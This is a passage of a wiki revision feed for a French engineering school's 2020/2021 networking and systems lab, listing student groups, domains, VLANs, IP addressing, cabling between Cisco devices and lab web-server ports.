| 100.64.0.21&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 7&lt;br /&gt;
| girolle.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 307&lt;br /&gt;
| 193.48.57.182&lt;br /&gt;
| 100.64.0.22&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 6&lt;br /&gt;
| morillon.website&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 306&lt;br /&gt;
| 193.48.57.183&lt;br /&gt;
| 100.64.0.23&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 4&lt;br /&gt;
| tricholome.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 304&lt;br /&gt;
| 193.48.57.185&lt;br /&gt;
| 100.64.0.25&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 3&lt;br /&gt;
| clavaire.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 303&lt;br /&gt;
| 193.48.57.186&lt;br /&gt;
| 100.64.0.26&lt;br /&gt;
| 2222&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 2&lt;br /&gt;
| ophiocordyceps.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 302&lt;br /&gt;
| 193.48.57.187&lt;br /&gt;
| 100.64.0.27&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 1&lt;br /&gt;
| trompettedelamort.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 301&lt;br /&gt;
| 193.48.57.188&lt;br /&gt;
| 100.64.0.28&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! VLAN !! IPV4 !! IPV4 6509-E !! IPV4 C9200 !! IPV4 ISR4331 !! IPV4 Routeur !! IPV6 !! N° VRRP !! Adresse Wi-fi !! BSSID&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| 1&lt;br /&gt;
| 10.60.100.0/24&lt;br /&gt;
| 10.60.100.1&lt;br /&gt;
| 10.60.100.2&lt;br /&gt;
| &lt;br /&gt;
| 10.60.100.254&lt;br /&gt;
| 2001:660:4401:60b0::0/64&lt;br /&gt;
| 31&lt;br /&gt;
| 10.60.100.10&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| 131&lt;br /&gt;
| 192.168.222.8/29&lt;br /&gt;
| 192.168.222.12&lt;br /&gt;
| 192.168.222.13&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| 2001:660:4401:60b1::0/64&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| 531&lt;br /&gt;
| 192.168.222.24/29&lt;br /&gt;
| 192.168.222.26&lt;br /&gt;
| 192.168.222.27&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| 333&lt;br /&gt;
| 100.64.0.0/24&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 100.64.0.3&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 2001:660:4401:60b2::0/64&lt;br /&gt;
| 33&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| Groupe 1&lt;br /&gt;
| trompettedelamort.site&lt;br /&gt;
| 301&lt;br /&gt;
| 10.60.101.0/24&lt;br /&gt;
| 10.60.101.1&lt;br /&gt;
| 10.60.101.2&lt;br /&gt;
| &lt;br /&gt;
| 10.60.101.254&lt;br /&gt;
| 2001:660:4401:60b3::0/64&lt;br /&gt;
| 41&lt;br /&gt;
| &lt;br /&gt;
| SSID_GROUP1&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 2&lt;br /&gt;
| ophiocordyceps.site&lt;br /&gt;
| 302&lt;br /&gt;
| 10.60.102.0/24&lt;br /&gt;
| 10.60.102.1&lt;br /&gt;
| 10.60.102.2&lt;br /&gt;
| &lt;br /&gt;
| 10.60.102.254&lt;br /&gt;
| 2001:660:4401:60b4::0/64&lt;br /&gt;
| 42&lt;br /&gt;
| &lt;br /&gt;
| SSID_GROUP2&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 3&lt;br /&gt;
| clavaire.site&lt;br /&gt;
| 303&lt;br /&gt;
| 10.60.103.0/24&lt;br /&gt;
| 10.60.103.1&lt;br /&gt;
| 10.60.103.2&lt;br /&gt;
| &lt;br /&gt;
| 10.60.103.254&lt;br /&gt;
| 2001:660:4401:60b5::0/64&lt;br /&gt;
| 43&lt;br /&gt;
| &lt;br /&gt;
| SSID_GROUP3&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 4&lt;br /&gt;
| tricholome.site&lt;br /&gt;
| 304&lt;br /&gt;
| 10.60.104.0/24&lt;br /&gt;
| 10.60.104.1&lt;br /&gt;
| 10.60.104.2&lt;br /&gt;
| &lt;br /&gt;
| 10.60.104.254&lt;br /&gt;
| 2001:660:4401:60b6::0/64&lt;br /&gt;
| 44&lt;br /&gt;
| &lt;br /&gt;
| SSID_GROUP4&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| 305&lt;br /&gt;
| 10.60.105.0/24&lt;br /&gt;
| 10.60.105.1&lt;br /&gt;
| 10.60.105.2&lt;br /&gt;
| &lt;br /&gt;
| 10.60.105.254&lt;br /&gt;
| 2001:660:4401:60b7::0/64&lt;br /&gt;
| 45&lt;br /&gt;
| &lt;br /&gt;
| SSID_GROUP5&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 6&lt;br /&gt;
| morillon.website&lt;br /&gt;
| 306&lt;br /&gt;
| 10.60.106.0/24&lt;br /&gt;
| 10.60.106.1&lt;br /&gt;
| 10.60.106.2&lt;br /&gt;
| &lt;br /&gt;
| 10.60.106.254&lt;br /&gt;
| 2001:660:4401:60b8::0/64&lt;br /&gt;
| 46&lt;br /&gt;
| &lt;br /&gt;
| SSID_GROUP6&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 7&lt;br /&gt;
| girolle.site&lt;br /&gt;
| 307&lt;br /&gt;
| 10.60.107.0/24&lt;br /&gt;
| 10.60.107.1&lt;br /&gt;
| 10.60.107.2&lt;br /&gt;
| &lt;br /&gt;
| 10.60.107.254&lt;br /&gt;
| 2001:660:4401:60b9::0/64&lt;br /&gt;
| 47&lt;br /&gt;
| &lt;br /&gt;
| SSID_GROUP7&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 8&lt;br /&gt;
| piedbleu.site&lt;br /&gt;
| 308&lt;br /&gt;
| 10.60.108.0/24&lt;br /&gt;
| 10.60.108.1&lt;br /&gt;
| 10.60.108.2&lt;br /&gt;
| &lt;br /&gt;
| 10.60.108.254&lt;br /&gt;
| 2001:660:4401:60ba::0/64&lt;br /&gt;
| 48&lt;br /&gt;
| &lt;br /&gt;
| SSID_GROUP8&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 9&lt;br /&gt;
| calicedelamort.site&lt;br /&gt;
| 309&lt;br /&gt;
| 10.60.109.0/24&lt;br /&gt;
| 10.60.109.1&lt;br /&gt;
| 10.60.109.2&lt;br /&gt;
| &lt;br /&gt;
| 10.60.109.254&lt;br /&gt;
| 2001:660:4401:60bb::0/64&lt;br /&gt;
| 49&lt;br /&gt;
| &lt;br /&gt;
| SSID_GROUP9&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 10&lt;br /&gt;
| pleurote.site&lt;br /&gt;
| 310&lt;br /&gt;
| 10.60.110.0/24&lt;br /&gt;
| 10.60.110.1&lt;br /&gt;
| 10.60.110.2&lt;br /&gt;
| &lt;br /&gt;
| 10.60.110.254&lt;br /&gt;
| 2001:660:4401:60bc::0/64&lt;br /&gt;
| 50&lt;br /&gt;
| &lt;br /&gt;
| SSID_GROUP10&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 11&lt;br /&gt;
| stropharia.site&lt;br /&gt;
| 311&lt;br /&gt;
| 10.60.111.0/24&lt;br /&gt;
| 10.60.111.1&lt;br /&gt;
| 10.60.111.2&lt;br /&gt;
| &lt;br /&gt;
| 10.60.111.254&lt;br /&gt;
| 2001:660:4401:60bd::0/64&lt;br /&gt;
| 51&lt;br /&gt;
| &lt;br /&gt;
| SSID_GROUP11&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 12&lt;br /&gt;
| truffe.site&lt;br /&gt;
| 312&lt;br /&gt;
| 10.60.112.0/24&lt;br /&gt;
| 10.60.112.1&lt;br /&gt;
| 10.60.112.2&lt;br /&gt;
| &lt;br /&gt;
| 10.60.112.254&lt;br /&gt;
| 2001:660:4401:60be::0/64&lt;br /&gt;
| 52&lt;br /&gt;
| &lt;br /&gt;
| SSID_GROUP12&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 14&lt;br /&gt;
| oronge.site&lt;br /&gt;
| 314&lt;br /&gt;
| 10.60.114.0/24&lt;br /&gt;
| 10.60.114.1&lt;br /&gt;
| 10.60.114.2&lt;br /&gt;
| &lt;br /&gt;
| 10.60.114.254&lt;br /&gt;
| 2001:660:4401:60bf::0/64&lt;br /&gt;
| 54&lt;br /&gt;
| &lt;br /&gt;
| SSID_GROUP14&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Installation du réseau ==&lt;br /&gt;
&lt;br /&gt;
=== Branchement du matériel ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Global_scheme_PRA_2020.png|600px|center|Schéma de câblage]]&lt;br /&gt;
&lt;br /&gt;
=== Connexions entre équipements ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! !! Type !! Port&lt;br /&gt;
|-&lt;br /&gt;
| 6509-E&lt;br /&gt;
| Fibre 10G&lt;br /&gt;
| Te5/4&lt;br /&gt;
|-&lt;br /&gt;
| 9200&lt;br /&gt;
| Fibre 10G&lt;br /&gt;
| Te1/1/1&lt;br /&gt;
|}&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! !! Type !! Port&lt;br /&gt;
|-&lt;br /&gt;
| 6509-E&lt;br /&gt;
| Fibre 10G&lt;br /&gt;
| Te6/5&lt;br /&gt;
|-&lt;br /&gt;
| ISR 4331&lt;br /&gt;
| Fibre 10G&lt;br /&gt;
| Ge0/0/2&lt;br /&gt;
|}&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! !! Type !! Port !! VLAN !! IP&lt;br /&gt;
|-&lt;br /&gt;
| 6509-E&lt;br /&gt;
| Fibre 10G&lt;br /&gt;
| Te5/5&lt;br /&gt;
| 333&lt;br /&gt;
| 100.64.0.1/24&lt;br /&gt;
|-&lt;br /&gt;
| CAPBRETON&lt;br /&gt;
| Fibre 10G&lt;br /&gt;
| Eth5&lt;br /&gt;
| N/A&lt;br /&gt;
| N/A&lt;br /&gt;
|}&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! !! Type !! Port !! VLAN !! IP&lt;br /&gt;
|-&lt;br /&gt;
| 6509-E&lt;br /&gt;
| Fibre 10G&lt;br /&gt;
| Te6/4&lt;br /&gt;
| 131&lt;br /&gt;
| 192.168.222.12/29&lt;br /&gt;
|-&lt;br /&gt;
| ECOLE&lt;br /&gt;
| Fibre 10G&lt;br /&gt;
| N/A&lt;br /&gt;
| N/A&lt;br /&gt;
| N/A&lt;br /&gt;
|}&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! !! Type !! Port !! VLAN !! IP&lt;br /&gt;
|-&lt;br /&gt;
| 9200&lt;br /&gt;
| Fibre 1G&lt;br /&gt;
| Te1/1/3&lt;br /&gt;
| 333&lt;br /&gt;
| 100.64.0.2/24&lt;br /&gt;
|-&lt;br /&gt;
| CAPBRETON&lt;br /&gt;
| Cuivre&lt;br /&gt;
| Eth4&lt;br /&gt;
| N/A&lt;br /&gt;
| N/A&lt;br /&gt;
|}&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! !! Type !! Port&lt;br /&gt;
|-&lt;br /&gt;
| 9200&lt;br /&gt;
| Cuivre&lt;br /&gt;
| Gi1/0/2&lt;br /&gt;
|-&lt;br /&gt;
| ISR 4331&lt;br /&gt;
| Cuivre&lt;br /&gt;
| Ge0/0/0&lt;br /&gt;
|}&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! !! Type !! Port !! VLAN !! IP&lt;br /&gt;
|-&lt;br /&gt;
| 9200&lt;br /&gt;
| Fibre 10G&lt;br /&gt;
| Gi1/0/1&lt;br /&gt;
| 131&lt;br /&gt;
| 192.168.222.13/29&lt;br /&gt;
|-&lt;br /&gt;
| ECOLE&lt;br /&gt;
| Fibre 10G&lt;br /&gt;
| N/A&lt;br /&gt;
| N/A&lt;br /&gt;
| N/A&lt;br /&gt;
|}&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! !! Type !! Port !! VLAN !! IP&lt;br /&gt;
|-&lt;br /&gt;
| ISR 4331&lt;br /&gt;
| Cuivre&lt;br /&gt;
| Gi1/0/2&lt;br /&gt;
| 531&lt;br /&gt;
| 213.215.6.102&lt;br /&gt;
|-&lt;br /&gt;
| SDSL&lt;br /&gt;
| Cuivre&lt;br /&gt;
| N/A&lt;br /&gt;
| N/A&lt;br /&gt;
| N/A&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== ASR ===&lt;br /&gt;
&lt;br /&gt;
==Plan d'adressage==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Adresse VLAN50 Capbeton !! Adresse VLAN50 Chassiron !! Port d'attaque du serveur web !! Groupe&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 14&lt;br /&gt;
| oronge.site&lt;br /&gt;
| 192.168.42.14&lt;br /&gt;
| 192.168.42.28&lt;br /&gt;
| 8094&lt;br /&gt;
| 1&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 12&lt;br /&gt;
| truffe.site&lt;br /&gt;
| 192.168.42.12&lt;br /&gt;
| 192.168.42.26&lt;br /&gt;
| 8092&lt;br /&gt;
| 2&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 11&lt;br /&gt;
| stropharia.site&lt;br /&gt;
| 192.168.42.11&lt;br /&gt;
| 192.168.42.25&lt;br /&gt;
| 8091&lt;br /&gt;
| 1&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 10&lt;br /&gt;
| pleurote.site&lt;br /&gt;
| 192.168.42.10&lt;br /&gt;
| 192.168.42.24&lt;br /&gt;
| 8090&lt;br /&gt;
| 1&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 9&lt;br /&gt;
| calicedelamort.site&lt;br /&gt;
| 192.168.42.9&lt;br /&gt;
| 192.168.42.23&lt;br /&gt;
| 8089&lt;br /&gt;
| 2&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 8&lt;br /&gt;
| piedbleu.site&lt;br /&gt;
| 192.168.42.8&lt;br /&gt;
| 192.168.42.22&lt;br /&gt;
| 8088&lt;br /&gt;
| 1&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 7&lt;br /&gt;
| girolle.site&lt;br /&gt;
| 192.168.42.7&lt;br /&gt;
| 192.168.42.21&lt;br /&gt;
| 8087&lt;br /&gt;
| 2&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 6&lt;br /&gt;
| morillon.website&lt;br /&gt;
| 192.168.42.6&lt;br /&gt;
| 192.168.42.20&lt;br /&gt;
| 8086&lt;br /&gt;
| 1&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| 192.168.42.5&lt;br /&gt;
| 192.168.42.19&lt;br /&gt;
| 8085&lt;br /&gt;
| 2&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 4&lt;br /&gt;
| tricholome.site&lt;br /&gt;
| 192.168.42.4&lt;br /&gt;
| 192.168.42.18&lt;br /&gt;
| 8084&lt;br /&gt;
| 2&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 3&lt;br /&gt;
| clavaire.site&lt;br /&gt;
| 192.168.42.3&lt;br /&gt;
| 192.168.42.17&lt;br /&gt;
| 8083&lt;br /&gt;
| 1&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 2&lt;br /&gt;
| ophiocordyceps.site&lt;br /&gt;
| 192.168.42.2&lt;br /&gt;
| 192.168.42.16&lt;br /&gt;
| 8082&lt;br /&gt;
| 2&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 1&lt;br /&gt;
| trompettedelamort.site&lt;br /&gt;
| 192.168.42.1&lt;br /&gt;
| 192.168.42.15&lt;br /&gt;
| 8081&lt;br /&gt;
| 1&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021&amp;diff=54872</id>
		<title>TP sysres IMA5sc 2020/2021</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021&amp;diff=54872"/>
				<updated>2020-12-17T14:46:19Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Plan d'adressage */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Répartition des binômes ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elèves &lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2020/2021 G1 | Cahier groupe n°1]]&lt;br /&gt;
| GURY Evan &amp;amp; DUBOIS Vincent&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2020/2021 G2 | Cahier groupe n°2]]&lt;br /&gt;
| BARGIBANT Quentin &amp;amp; LAGNEAU Alex&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2020/2021 G3 | Cahier groupe n°3]]&lt;br /&gt;
| SIMONIN Richard &amp;amp; MERTZ Thomas&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2020/2021 G4 | Cahier groupe n°4]]&lt;br /&gt;
| BENAYED Samuel &amp;amp; EVRARD Théo&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2020/2021 G5 | Cahier groupe n°5]]&lt;br /&gt;
| RINGOT Loïc &amp;amp; SANCHEZ Pierre&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2020/2021 G6 | Cahier groupe n°6]]&lt;br /&gt;
| NDUWAMUNGU Jean De Dieu &amp;amp; MOINAT Théau&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2020/2021 G7 | Cahier groupe n°7]]&lt;br /&gt;
| EKHLAS EID Nour &amp;amp; BISALLI Clara&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2020/2021 G8 | Cahier groupe n°8]]&lt;br /&gt;
| SOULAIMANI Jawad &amp;amp; TEKIN Kadir&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2020/2021 G9 | Cahier groupe n°9]]&lt;br /&gt;
| VIEUBLED Tanguy &amp;amp; VERNIER Paul&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2020/2021 G10 | Cahier groupe n°10]]&lt;br /&gt;
| MALTI Hind &amp;amp; AHOUASSOU Loris&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2020/2021 G11 | Cahier groupe n°11]]&lt;br /&gt;
| DARDENNE Sébastien &amp;amp; CALLERISA Corto&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2020/2021 G12 | Cahier groupe n°12]]&lt;br /&gt;
| NORMAND Quentin &amp;amp; CLAUDEL Maxime&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2020/2021 G14 | Cahier groupe n°14]]&lt;br /&gt;
| FAUCHOIS Lukas &amp;amp; ROUILLÉ Guillaume&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Plan d'adressage==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (publique) !! IP (privée) !! IP (Port ssh)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 14&lt;br /&gt;
| oronge.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 314&lt;br /&gt;
| 193.48.57.176&lt;br /&gt;
| 100.64.0.16&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 12&lt;br /&gt;
| truffe.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 312&lt;br /&gt;
| 193.48.57.177&lt;br /&gt;
| 100.64.0.17&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 11&lt;br /&gt;
| stropharia.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 311&lt;br /&gt;
| 193.48.57.178&lt;br /&gt;
| 100.64.0.18&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 10&lt;br /&gt;
| pleurote.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 310&lt;br /&gt;
| 193.48.57.179&lt;br /&gt;
| 100.64.0.19&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 9&lt;br /&gt;
| calicedelamort.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 309&lt;br /&gt;
| 193.48.57.180&lt;br /&gt;
| 100.64.0.20&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 8&lt;br /&gt;
| piedbleu.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 308&lt;br /&gt;
| 193.48.57.181&lt;br /&gt;
| 100.64.0.21&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 7&lt;br /&gt;
| girolle.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 307&lt;br /&gt;
| 193.48.57.182&lt;br /&gt;
| 100.64.0.22&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 6&lt;br /&gt;
| morillon.website&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 306&lt;br /&gt;
| 193.48.57.183&lt;br /&gt;
| 100.64.0.23&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 4&lt;br /&gt;
| tricholome.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 304&lt;br /&gt;
| 193.48.57.185&lt;br /&gt;
| 100.64.0.25&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 3&lt;br /&gt;
| clavaire.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 303&lt;br /&gt;
| 193.48.57.186&lt;br /&gt;
| 100.64.0.26&lt;br /&gt;
| 2222&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 2&lt;br /&gt;
| ophiocordyceps.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 302&lt;br /&gt;
| 193.48.57.187&lt;br /&gt;
| 100.64.0.27&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 1&lt;br /&gt;
| trompettedelamort.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 301&lt;br /&gt;
| 193.48.57.188&lt;br /&gt;
| 100.64.0.28&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! VLAN !! IPV4 !! IPV4 6509-E !! IPV4 C9200 !! IPV4 ISR4331 !! IPV4 Routeur !! IPV6 !! N° VRRP !! Adresse Wi-fi !! BSSID&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| 1&lt;br /&gt;
| 10.60.100.0/24&lt;br /&gt;
| 10.60.100.1&lt;br /&gt;
| 10.60.100.2&lt;br /&gt;
| &lt;br /&gt;
| 10.60.100.254&lt;br /&gt;
| 2001:660:4401:60b0::0/64&lt;br /&gt;
| 31&lt;br /&gt;
| 10.60.100.10&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| 131&lt;br /&gt;
| 192.168.222.8/29&lt;br /&gt;
| 192.168.222.12&lt;br /&gt;
| 192.168.222.13&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| 2001:660:4401:60b1::0/64&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| 531&lt;br /&gt;
| 192.168.222.24/29&lt;br /&gt;
| 192.168.222.26&lt;br /&gt;
| 192.168.222.27&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| 333&lt;br /&gt;
| 100.64.0.0/24&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 100.64.0.3&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 2001:660:4401:60b2::0/64&lt;br /&gt;
| 33&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| Groupe 1&lt;br /&gt;
| trompettedelamort.site&lt;br /&gt;
| 301&lt;br /&gt;
| 10.60.101.0/24&lt;br /&gt;
| 10.60.101.1&lt;br /&gt;
| 10.60.101.2&lt;br /&gt;
| &lt;br /&gt;
| 10.60.101.254&lt;br /&gt;
| 2001:660:4401:60b3::0/64&lt;br /&gt;
| 41&lt;br /&gt;
| &lt;br /&gt;
| SSID_GROUP1&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 2&lt;br /&gt;
| ophiocordyceps.site&lt;br /&gt;
| 302&lt;br /&gt;
| 10.60.102.0/24&lt;br /&gt;
| 10.60.102.1&lt;br /&gt;
| 10.60.102.2&lt;br /&gt;
| &lt;br /&gt;
| 10.60.102.254&lt;br /&gt;
| 2001:660:4401:60b4::0/64&lt;br /&gt;
| 42&lt;br /&gt;
| &lt;br /&gt;
| SSID_GROUP2&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 3&lt;br /&gt;
| clavaire.site&lt;br /&gt;
| 303&lt;br /&gt;
| 10.60.103.0/24&lt;br /&gt;
| 10.60.103.1&lt;br /&gt;
| 10.60.103.2&lt;br /&gt;
| &lt;br /&gt;
| 10.60.103.254&lt;br /&gt;
| 2001:660:4401:60b5::0/64&lt;br /&gt;
| 43&lt;br /&gt;
| &lt;br /&gt;
| SSID_GROUP3&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 4&lt;br /&gt;
| tricholome.site&lt;br /&gt;
| 304&lt;br /&gt;
| 10.60.104.0/24&lt;br /&gt;
| 10.60.104.1&lt;br /&gt;
| 10.60.104.2&lt;br /&gt;
| &lt;br /&gt;
| 10.60.104.254&lt;br /&gt;
| 2001:660:4401:60b6::0/64&lt;br /&gt;
| 44&lt;br /&gt;
| &lt;br /&gt;
| SSID_GROUP4&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| 305&lt;br /&gt;
| 10.60.105.0/24&lt;br /&gt;
| 10.60.105.1&lt;br /&gt;
| 10.60.105.2&lt;br /&gt;
| &lt;br /&gt;
| 10.60.105.254&lt;br /&gt;
| 2001:660:4401:60b7::0/64&lt;br /&gt;
| 45&lt;br /&gt;
| &lt;br /&gt;
| SSID_GROUP5&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 6&lt;br /&gt;
| morillon.website&lt;br /&gt;
| 306&lt;br /&gt;
| 10.60.106.0/24&lt;br /&gt;
| 10.60.106.1&lt;br /&gt;
| 10.60.106.2&lt;br /&gt;
| &lt;br /&gt;
| 10.60.106.254&lt;br /&gt;
| 2001:660:4401:60b8::0/64&lt;br /&gt;
| 46&lt;br /&gt;
| &lt;br /&gt;
| SSID_GROUP6&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 7&lt;br /&gt;
| girolle.site&lt;br /&gt;
| 307&lt;br /&gt;
| 10.60.107.0/24&lt;br /&gt;
| 10.60.107.1&lt;br /&gt;
| 10.60.107.2&lt;br /&gt;
| &lt;br /&gt;
| 10.60.107.254&lt;br /&gt;
| 2001:660:4401:60b9::0/64&lt;br /&gt;
| 47&lt;br /&gt;
| &lt;br /&gt;
| SSID_GROUP7&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 8&lt;br /&gt;
| piedbleu.site&lt;br /&gt;
| 308&lt;br /&gt;
| 10.60.108.0/24&lt;br /&gt;
| 10.60.108.1&lt;br /&gt;
| 10.60.108.2&lt;br /&gt;
| &lt;br /&gt;
| 10.60.108.254&lt;br /&gt;
